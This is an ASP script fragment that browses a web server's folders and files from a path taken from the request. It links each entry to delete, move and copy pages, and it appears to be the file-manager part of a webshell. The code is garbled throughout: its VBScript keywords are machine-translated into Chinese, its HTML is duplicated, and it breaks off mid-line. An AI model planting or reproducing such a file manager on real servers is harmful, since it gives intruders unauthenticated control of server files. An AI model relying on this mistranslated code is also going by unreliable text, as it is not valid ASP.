<％
urlpath = http：//&request.servervariobles（server_name）
昏暗的库人，lpath
设置fsobrowse = createObject（scripting.filesystemobject）
如果请求（路径）=然后
lpath =/
别的
lpath =请求（路径）和/
如果结束
如果请求（attrib）= true，则
cpath = lpath
attrib = true
别的
cpath = server.mappath（lpath）
attrib =
如果结束
sub getfolder（）
昏暗的咖啡机，thesubfolders
如果fsobrowse.folderexists（cpath），则
设置thefolder = fsobrowse.getFolder（cpath）
设置thesubfolders = thefolder.subfolders
wrespons.write <a href ='list.asp？path =＆request（oldpath）&& attrib =＆attrib＆'> <font color ='＃ff8000'>■</font>↑ ^ <font color ='ff22222'> </font> </font> </font> </a> <br>
响应。write<table border ='0'width ='100％'cellpadding ='0'>
对于thesubfolders中的每个X
wrespons.write <tr> <td width = '50％'> <a href ='href ='list.asp？path =＆lpath＆x.name && old oldpath =＆request（path）&& attrib =＆attrib =＆attrib＆'> <font <font color ='＃ff8000'>■
response.write <td> <a href =＃onclick = javascript：window.open（'delete.asp@spath =＆server.urlencode（lpath）＆＆＆server.urlencode（x.name）＆ ＆aim = floders'，'hyne_love_achye'，'工具栏=否，scrollbars = yes，resizable = yes，width = 600，高度= 400'）;> <font color ='＃ff8000'>××</font> </font> </font> </a> </a> </td> </td>
response.write <td> <a href =＃onclick = javascript：window.open（'move.asp@spath =＆server.urlencode（lpath）＆＆＆server.urlencode（x.name）＆ ＆aim = floders'，'hyne_love_achye'，'工具栏=否，scrollbars = yes，resizable = yes，width = 600，高度= 400'）;> <font color ='＃ff8000'>××</font> </font> </font> </a> </a> </td> </td>
response.write <td> <a href =＃onclick = javascript：window.open（'copy.asp@spath =＆server.urlencode（lpath）＆＆＆server.urlencode（x.name）＆ ＆aim = floders'，'hyne_love_achye'，'工具栏=否，scrollbars = yes，resizable = yes，width = 600，高度= 400'）;> <font color ='＃ff8000'>××</font> </font> </font> </a> </a> <br> <br> <br> <br> <br> <br> <br> </td> </td> </tr>
下一个
响应。write</table>
如果结束
结束子
sub getfile（）
昏暗的菲尔斯
如果fsobrowse.folderexists（cpath），则
设置thefolder = fsobrowse.getFolder（cpath）
设置thefiles = thefolder.files
响应。write<table border ='0'width ='100％'cellpadding ='0'>
对于thefiles中的每个X
如果请求（attrib）= true，则
showtring = <strong>＆x.name＆</strong>
别的
showtring = <a href =＃onclick = javaScript：window.open（'＆urlPath＆lpath＆lpath＆server.urlencode（x.name）＆'，'hyne_love_achye'，'toolbar = no，scrollBars = yes scrollbars = yes yes，resizable = yes，resizable = yes，resiz size，resize size，fidth = 600，height = 600，height = 400''''